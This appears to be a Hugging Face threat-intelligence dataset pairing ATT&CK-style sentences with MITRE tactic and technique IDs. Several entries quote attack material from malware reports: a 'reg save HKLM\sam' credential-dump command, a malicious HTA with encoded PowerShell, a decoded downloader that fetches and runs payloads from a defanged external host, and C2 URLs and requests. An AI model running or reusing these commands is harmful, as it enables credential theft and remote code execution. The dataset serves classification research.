madox81/Adema_ATTACK_DS huggingface dataset:
Input: Adversaries may use internal spearphishing to gain access to additional information or exploit other users within the same organization after they already have access to accounts or systems within the environment.

Tactics: TA0008
Techniques: T1534
Input: It is possible to delegate GPO access control permissions,  write access, to specific users or groups in the domain.

Tactics: TA0004, TA0005
Techniques: T1484.001, T1484
Input: With sufficient permissions, adversaries can modify domain policy settings.

Tactics: TA0004, TA0005
Techniques: T1484
Input: YAHOYAH decrypts downloaded files before execution.

Tactics: TA0005
Techniques: T1140
Input: Local Port

Tactics: TA0003, TA0004
Techniques: T1547, T1547.010
Input: APT12 has used blogs and WordPress for C2 infrastructure.

Tactics: TA0011
Techniques: T1102.002, T1102
Input: High volumes of emails that bear the X-MS-Exchange-Organization-AutoForwarded header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.

Tactics: TA0009
Techniques: T1114, T1114.003
Input: InnaputRAT enumerates directories and obtains file attributes on a system.

Tactics: TA0007
Techniques: T1083
Input: RATANKBA uses the net user command.

Tactics: TA0007
Techniques: T1087, T1087.001
Input: Access may also be gained through an exposed service that doesn’t require authentication.

Tactics: TA0001, TA0003
Techniques: T1133
Input: APT39 has used post-exploitation tools including RemCom and the Non-sucking Service Manager (NSSM) to execute processes.

Tactics: TA0002
Techniques: T1569.002, T1569
Input: Adversaries can use purchased domains for a variety of purposes, including for Phishing, Drive-by Compromise, and Command and Control.

Tactics: TA0042
Techniques: T1583.001, T1583
Input: PLAINTEE encodes C2 beacons using XOR.

Tactics: TA0011
Techniques: T1573, T1573.001
Input: HermeticWizard has been named exec_32.dll to mimic a legitimate MS Outlook .dll.

Tactics: TA0005
Techniques: T1036.005, T1036
Input: A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process.

Tactics: TA0004, TA0005
Techniques: T1134
Input: On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent DDE attacks and spawning of child processes from Office programs.

Tactics: TA0002
Techniques: T1559, T1559.002
Input: reg save HKLM\sam sam

Tactics: TA0006
Techniques: T1003, T1003.002
Input: FinFisher is heavily obfuscated in many ways, including through the use of spaghetti code in its functions in an effort to confuse disassembly programs.

Tactics: TA0005
Techniques: T1027
Input: Reduce the number of users that are members of highly privileged Directory Roles.

Tactics: TA0006
Techniques: T1606, T1606.002
Input: Monitor for changes made to files that may abuse Microsoft Office add-ins to obtain persistence on a compromised system.

Tactics: TA0003
Techniques: T1137, T1137.006
Input: This value can be changed using the AccessTokenLifetime in a LifetimeTokenPolicy.

Tactics: TA0006
Techniques: T1606, T1606.002
Input: Donut can generate shellcode outputs that execute via Python.

Tactics: TA0002
Techniques: T1059.006, T1059
Input: StrongPity can compress and encrypt archived files into multiple .sft files with a repeated xor encryption scheme.

Tactics: TA0009
Techniques: T1560.003, T1560
Input: FELIXROOT collects the victim’s computer name, processor architecture, OS version, volume serial number, and system type.

Tactics: TA0007
Techniques: T1082
Input: FIN7 malware has created scheduled tasks to establish persistence.

Tactics: TA0002, TA0003, TA0004
Techniques: T1053.005, T1053
Input: Windows 8.1, Windows Server 2012 R2, and later versions, may make LSA run as a Protected Process Light (PPL) by setting the Registry key HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL, which requires all DLLs loaded by LSA to be signed by Microsoft.

Tactics: TA0003, TA0004
Techniques: T1547.002, T1547
Input: Disable or remove any unnecessary or unused shells or interpreters.

Tactics: TA0002
Techniques: T1059
Input: Agent Tesla has used SMTP for C2 communications.

Tactics: TA0011
Techniques: T1071, T1071.003
Input: Bazar can inject into a target process including Svchost, Explorer, and cmd using process hollowing.

Tactics: TA0004, TA0005
Techniques: T1055.012, T1055
Input: Monitor for newly constructed files that may abuse Microsoft Office add-ins to obtain persistence on a compromised system.

Tactics: TA0003
Techniques: T1137, T1137.006
Input: However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process.

Tactics: TA0004, TA0005
Techniques: T1055.012, T1055
Input: POSHSPY modifies timestamps of all downloaded executables to match a randomly selected file created prior to 2013.

Tactics: TA0005
Techniques: T1070, T1070.006
Input: SombRAT can communicate over DNS with the C2 server.

Tactics: TA0011
Techniques: T1071.004, T1071
Input: VDSO hijacking involves redirecting calls to dynamically linked shared libraries.

Tactics: TA0004, TA0005
Techniques: T1055.014, T1055
Input: AppleSeed can find and collect data from removable media devices.

Tactics: TA0009
Techniques: T1025
Input: Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet).

Tactics: TA0043
Techniques: T1595.003, T1595
Input: This shellcode is decrypted in memory through EQENDT32.EXE

Tactics: TA0005
Techniques: T1027
Input: Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, ) to regularly check for compressed or encrypted data that may be indicative of staging.

Tactics: TA0009
Techniques: T1074.002, T1074.001, T1074
Input: Impacket's wmiexec module can be used to execute commands through WMI.

Tactics: TA0002
Techniques: T1047
Input: Agent Tesla can achieve persistence by modifying Registry key entries.

Tactics: TA0005
Techniques: T1112
Input: TrickBot uses the Windows API call, CreateProcessW(), to manage execution flow.

Tactics: TA0002
Techniques: T1106
Input: Trojan.Karagany can take a desktop screenshot and save the file into \ProgramData\Mail\MailAg\shot.png.

Tactics: TA0009
Techniques: T1113
Input: QuasarRAT can perform webcam viewing.

Tactics: TA0009
Techniques: T1125
Input: It is possible to start additional services after a safe mode boot.

Tactics: TA0005
Techniques: T1562.009, T1562
Input: In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.Detection efforts may be focused on related behaviors, such as Web Protocols , Asymmetric Cryptography , and/or Install Root Certificate .

Tactics: TA0042
Techniques: T1587, T1587.003
Input: The USB device could be used as the final exfiltration point or to hop between otherwise disconnected systems.

Tactics: TA0010
Techniques: T1052, T1052.001
Input: Rifdoor has encrypted strings with a single byte XOR algorithm.

Tactics: TA0005
Techniques: T1027
Input: ZxShell can set up an HTTP or SOCKS proxy.

Tactics: TA0011
Techniques: T1090
Input: Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.

Tactics: TA0007
Techniques: T1135
Input: The sample creates an array that contains the following strings for the Trojan to use as C2 locations: http://23.227.196[.]215/ http://apple-iclods[.]org/ http://apple-checker[.]org/ http://apple-uptoday[.]org/ http://apple-search[.]info Notice the last one is missing the trailing “/”, which causes an issue when the Trojan attempts to use this string to build the remainder of the C2 URL, as the Trojan will append the next string in the URL directly to this string

Tactics: TA0011
Techniques: T1071, T1008
Input: OilRig has also used tool named PICKPOCKET to dump passwords from web browsers.

Tactics: TA0006
Techniques: T1555.003, T1555
Input: Anchor can download additional payloads.

Tactics: TA0011
Techniques: T1105
Input: WannaCry will attempt to determine the local network segment it is a part of.

Tactics: TA0007
Techniques: T1016
Input: Monitor executed commands and arguments the 'systemd-run' utility as it may be used to create timers

Tactics: TA0002, TA0003, TA0004
Techniques: T1053.006, T1053
Input: One example of these samples is given below: SHA256:6500636c29eba70efd3eb3be1d094dfda4ec6cca52ace23d50e98e6b63308fdb The file is a self-extracting RAR, which is a common delivery mechanism for PlugX particularly when the eventual payload will be sideloaded by a legitimate executable

Tactics: TA0005
Techniques: T1036
Input: AppleSeed can collect data on a compromised host.

Tactics: TA0009
Techniques: T1005
Input: Net is an example utility that can be used to remove network share connections with the net use \system\share /delete command.

Tactics: TA0005
Techniques: T1070, T1070.005
Input: Adversaries may use Windows logon scripts automatically executed at logon initialization to establish persistence.

Tactics: TA0003, TA0004
Techniques: T1037.001, T1037
Input: Windshift has sent spearphishing emails with links to harvest credentials and deliver malware.

Tactics: TA0001
Techniques: T1566, T1566.002
Input: Pupy can interact with a victim’s Outlook session and look through folders and emails.

Tactics: TA0009
Techniques: T1114, T1114.001
Input: Tropic Trooper has used HTTP in communication with the C2.

Tactics: TA0011
Techniques: T1071, T1071.001
Input: WinMM uses NetUser-GetInfo to identify that it is running under an "Admin" account on the local system.

Tactics: TA0007
Techniques: T1033
Input: BitPaymer has set the run key HKCU\Software\Microsoft\Windows\CurrentVersion\Run for persistence.

Tactics: TA0003, TA0004
Techniques: T1547.001, T1547
Input: Monitor for programs metadata modifications such as deletion of the path to an executable since it makes programs vulnerable to this type of technique.

Tactics: TA0003, TA0004, TA0005
Techniques: T1574.008, T1574
Input: AppleScript

Tactics: TA0002
Techniques: T1059.002, T1059
Input: P.A.S. Webshell can use a decryption mechanism to process a user supplied password and allow execution.

Tactics: TA0005
Techniques: T1140
Input: Transparent Tribe has used dynamic DNS services to set up C2.

Tactics: TA0011
Techniques: T1568
Input: Mustang Panda has used a legitimately signed executable to execute a malicious payload within a DLL file.

Tactics: TA0003, TA0004, TA0005
Techniques: T1574.002, T1574
Input: By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection.

Tactics: TA0005
Techniques: T1480, T1480.001
Input: [random string].plist to establish persistence.

Tactics: TA0003, TA0004
Techniques: T1543.001, T1543
Input: The lures are primarily documents of interest to Pakistani nuclear organizations and the Pakistani military as can be seen in the images below:  Figure 1 Lure extracted from a67220bcf289af6a99a9760c05d197d09502c2119f62762f78523aa7cbc96ef1  Figure 2 Lure extracted from 07d5509988b1aa6f8d5203bc4b75e6d7be6acf5055831cc961a51d3e921f96bd  Figure 3 Lure extracted from b8abf94017b159f8c1f0746dca24b4eeaf7e27d2ffa83ca053a87deb7560a571  Figure 4 Lure extracted from d486ed118a425d902044fb7a84267e92b49169c24051ee9de41327ee5e6ac7c2 and fd8394b2ff9cd00380dc2b5a870e15183f1dc3bd82ca6ee58f055b44074c7fd4   The payload from each of the malicious documents is an updated version of the BADNEWS malware family

Tactics: TA0002, TA0009
Techniques: T1560, T1204
Input: NOKKI has used rundll32 for execution.

Tactics: TA0005
Techniques: T1218, T1218.011
Input: Valak can determine the Windows version and computer name on a compromised host.

Tactics: TA0007
Techniques: T1082
Input: Adversaries may supply CMSTP.exe with INF files infected with malicious commands.

Tactics: TA0005
Techniques: T1218, T1218.003
Input: TrickBot has used a VNC module to monitor the victim and collect information to pivot to valuable systems on the network

Tactics: TA0008
Techniques: T1021.005, T1021
Input: InnaputRAT has a command to delete files.

Tactics: TA0005
Techniques: T1070, T1070.004
Input: InvisiMole has executed legitimate tools in hidden windows.

Tactics: TA0005
Techniques: T1564.003, T1564
Input: OilRig has used various types of scripting for execution.

Tactics: TA0002
Techniques: T1059
Input: Apart for its backdoor routines, this malware can steal information through keylogging, audio recording, and screen capture

Tactics: TA0009
Techniques: T1113, T1123
Input: Monitor for newly constructed web-based network connections that are sent to malicious or suspicious destinations ( destinations attributed to phishing campaigns).

Tactics: TA0002
Techniques: T1204, T1204.001
Input: The URL used can be found in the embedded OLE object:hxxp://old[.]jrchina[.]com/btob_asiana/udel_calcel.php?fdid=[base64_data]Here is the source code of the downloaded HTA document:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta content="text/html; charset=utf-8" http-equiv="Content-Type" /><title>Bonjour</title><script language="VBScript">Set owFrClN0giJ = CreateObject("Wscript.Shell")Set v1ymUkaljYF = CreateObject("Scripting.FileSystemObject")If v1ymUkaljYF.FileExists(owFrClN0giJ.ExpandEnvironmentStrings("%PSModulePath%") + "..\powershell.exe") ThenowFrClN0giJ.Run "powershell -nop -windowstyle hidden -executionpolicy bypass -encodedcommand JABjAD0AbgBlAHcALQBvA[...redacted...]H0AIAA=" ,0owFrClN0giJ.Run "cmd /c echo hta>%tmp%\webbrowser1094826604.tmp", 0End IfSelf.Close</script><hta:applicationid="oHTA"applicationname="Bonjour"application="yes"></head></html>Once decoded using the base64 algorithm, we are able to read the final payload:$c=new-object System.Net.WebClient$t =$env:temp$t1=$t+"\\alitmp0131.jpg"$t2=$t+"\\alitmp0132.jpg"$t3=$t+"\\alitmp0133.js"try  {    echo $c.DownloadFile( "hxxp://old[.]jrchina[.]com/btob_asiana/appach01.jpg",$t1)    $c.DownloadFile( "hxxp://old[.]jrchina[.]com/btob_asiana/appach02.jpg",$t2)    $c.DownloadFile( "hxxp://old[.]jrchina[.]com/btob_asiana/udel_ok.ipp",$t3)    wscript.exe $t3  }catch  {   }The purpose of this script is to download and execute a Windows script and two encoded payloads

Tactics: TA0002, TA0011
Techniques: T1071, T1059
Input: MoonWind obtains the victim's current time.

Tactics: TA0007
Techniques: T1124
Input: Turla has used spearphishing via a link to get users to download and run their malware.

Tactics: TA0002
Techniques: T1204, T1204.001
Input: More_eggs has used basE91 encoding, along with encryption, for C2 communication.

Tactics: TA0011
Techniques: T1132.001, T1132
Input: Kazuar downloads additional plug-ins to load on the victim’s machine, including the ability to upgrade and replace its own binary.

Tactics: TA0011
Techniques: T1105
Input: APT33 has used a variety of publicly available tools like Gpppassword to gather credentials.

Tactics: TA0006
Techniques: T1552, T1552.006
Input: Kazuar gathers information on users.

Tactics: TA0007
Techniques: T1033
Input: Preventing users from deleting or writing to certain files can stop adversaries from maliciously altering their ~/.bash_history or ConsoleHost_history.txt files.

Tactics: TA0005
Techniques: T1070, T1070.003
Input: If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm.

Tactics: TA0040
Techniques: T1499.002, T1499
Input: BLACKCOFFEE has also obfuscated its C2 traffic as normal traffic to sites such as Github.

Tactics: TA0011
Techniques: T1102.002, T1102
Input: Kobalos's post-authentication communication channel uses a 32-byte-long password with RC4 for inbound and outbound traffic.

Tactics: TA0011
Techniques: T1573, T1573.001
Input: FIN7 spear phishing campaigns have included malicious Word documents with DDE execution.

Tactics: TA0002
Techniques: T1559, T1559.002
Input: Adversaries may attempt to subvert these trust mechanisms.

Tactics: TA0005
Techniques: T1553
Input: Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in.

Tactics: TA0003, TA0004
Techniques: T1547.004, T1547
Input: This activity may be used to collect or relay authentication materials.

Tactics: TA0006, TA0009
Techniques: T1557.001, T1557
Input: Tonto Team has relied on user interaction to open their malicious RTF documents.

Tactics: TA0002
Techniques: T1204.002, T1204
Input: Monitor contextual data about a running process, which may include information such as environment variables, image name, user/owner, or other information that may reveal abuse of system features.

Tactics: TA0002
Techniques: T1059
Input: Machete uses HTTP for Command & Control.

Tactics: TA0011
Techniques: T1071, T1071.001
Input: Seasalt obfuscates configuration data.

Tactics: TA0005
Techniques: T1027
Input: Initial Attack On December 13, 2017, a spear phishing email was sent from the email address of yuri.sidorav@yandex[.]ru to a high ranking individual within a British government agency

Tactics: TA0001
Techniques: T1566, T1566.001
Input: RemoteUtilities can use Msiexec to install a service.

Tactics: TA0005
Techniques: T1218, T1218.007
Input: Monitor for unexpected Docker image build requests to the Docker daemon on hosts in the environment.

Tactics: TA0005
Techniques: T1612
Input: Instructions within guide.txt explaining how to carry out DNS hijacking attack In one part of guide.txt, an example target appears to be provided, with a corresponding adversary IP (185.162.235[.]106) for the legitimate domain to be redirected to

Tactics: TA0007
Techniques: T1016
Input: Sidewinder has used tools to identify running processes on the victim's machine.

Tactics: TA0007
Techniques: T1057
Input: Helminth splits data into chunks up to 23 bytes and sends the data in DNS queries to its C2 server.

Tactics: TA0010
Techniques: T1030
Input: It searches the active process list for the systemd process

Tactics: TA0007
Techniques: T1057
Input: Use file system access controls to protect folders such as C:\Windows\System32.

Tactics: TA0005
Techniques: T1036.003, T1036.005, T1036
Input: Magic Hound has used RAR to stage and compress local folders.

Tactics: TA0009
Techniques: T1560.001, T1560
Input: Spark has exfiltrated data over the C2 channel.

Tactics: TA0010
Techniques: T1041
Input: KillDisk has the ability to quit and delete itself.

Tactics: TA0005
Techniques: T1070, T1070.004
Input: Metamorfo has side-loaded its malicious DLL file.

Tactics: TA0003, TA0004, TA0005
Techniques: T1574.002, T1574
Input: In macOS, adversaries can create or modify a user to be hidden through manipulating plist files, folder attributes, and user attributes.

Tactics: TA0005
Techniques: T1564.002, T1564
Input: Adversaries may also use the Wake-on-LAN feature to turn on powered off systems.

Tactics: TA0003, TA0005, TA0011
Techniques: T1205
Input: WMI is an administration feature that provides a uniform environment to access Windows system components.

Tactics: TA0002
Techniques: T1047
Input: In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.

Tactics: TA0043
Techniques: T1598, T1598.003
Input: Mofang delivered spearphishing emails with malicious documents, PDFs, or Excel files attached.

Tactics: TA0001
Techniques: T1566, T1566.001
Input: Adversaries may communicate using application layer protocols associated with transferring files to avoid detection/network filtering by blending in with existing traffic.

Tactics: TA0011
Techniques: T1071.002, T1071
Input: BlackEnergy is capable of taking screenshots.

Tactics: TA0009
Techniques: T1113
Input: KeyBoy uses the Dynamic Data Exchange (DDE) protocol to download remote payloads.

Tactics: TA0002
Techniques: T1559, T1559.002
Input: Gelsemium has the ability to distinguish between a standard user and an administrator on a compromised host.

Tactics: TA0007
Techniques: T1033
Input: Trojan.Karagany can communicate with C2 via HTTP POST requests.

Tactics: TA0011
Techniques: T1071, T1071.001
Input: Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges.

Tactics: TA0004, TA0005
Techniques: T1055
Input: Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems.

Tactics: TA0001
Techniques: T1566, T1566.002
Input: PoetRAT has used spearphishing attachments to infect victims.

Tactics: TA0002
Techniques: T1204.002, T1204
Input: Avaddon looks for and attempts to stop anti-malware solutions.

Tactics: TA0005
Techniques: T1562.001, T1562
Input: Operation Wocao has used Impacket's smbexec.py as well as accessing the C$ and IPC$ shares to move laterally.

Tactics: TA0008
Techniques: T1021, T1021.002
Input: Kimsuky has modified Registry settings for default file associations to enable all macros and for persistence.

Tactics: TA0005
Techniques: T1112
Input: The resulting HTTP POST request looks like the following: POST http://185.25.50[.]93/syshelp/kd8812u/protocol.php HTTP/1.1 Host: 185.25.50[.]93 Content-Type: application/x-www-form-urlencoded Content-Length: 21 porg=44908AE0524f422d We have not seen a C2 server respond to our requests during our analysis, however, we do know how the Trojan will parse the C2’s response for specific data

Tactics: TA0011
Techniques: T1071
Input: An adversary must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require.

Tactics: TA0004, TA0005
Techniques: T1134.002, T1134.003, T1134, T1134.001
Input: PowerSploit's Get-MicrophoneAudio Exfiltration module can record system microphone audio.

Tactics: TA0009
Techniques: T1123
Input: It is the location of the boot loader.

Tactics: TA0003, TA0005
Techniques: T1542.003, T1542
Input: In the event this is successful the malware will use the following path to store any dropped files:  %COMMONPROGRAMFILES%\services\  In the event it is not successful, this alternative path will be used instead:  %APPDATA%\microsoft\mmc\  It proceeds to load and decrypt and embedded bitmap resource file

Tactics: TA0005
Techniques: T1140
Input: HermeticWiper has the ability to modify Registry keys to disable crash dumps, colors for compressed files, and pop-up information about folders and desktop items.

Tactics: TA0005
Techniques: T1112
Input: SILENTTRINITY can create a memory dump of LSASS via the MiniDumpWriteDump Win32 API call.

Tactics: TA0006
Techniques: T1003, T1003.001
Input: IronNetInjector has the ability to inject a DLL into running processes, including the IronNetInjector DLL into explorer.exe.

Tactics: TA0004, TA0005
Techniques: T1055, T1055.001
Input: Explosive has used HTTP for communication.

Tactics: TA0011
Techniques: T1071, T1071.001
Input: Emotet has used cmd.exe to run a PowerShell script.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: Several techniques are employed for executing the PowerShell code: If command starts with “excel”, then it leverages DDEInitiate Method of Excel.Appilcation to execute the code:  If the command starts with “outlook”, then it leverages Outlook.Application and MSHTA to execute the code:  If the command starts with “risk”, then execution is performed through DCOM object:      File upload functionality

Tactics: TA0002, TA0005
Techniques: T1140, T1106, T1059
Input: If there is a version match between the _VBA_PROJECT stream and host MS Office application, the p-code will be executed, otherwise the benign VBA source code will be decompressed and recompiled to p-code, thus removing malicious p-code and potentially bypassing dynamic analysis.

Tactics: TA0005
Techniques: T1564, T1564.007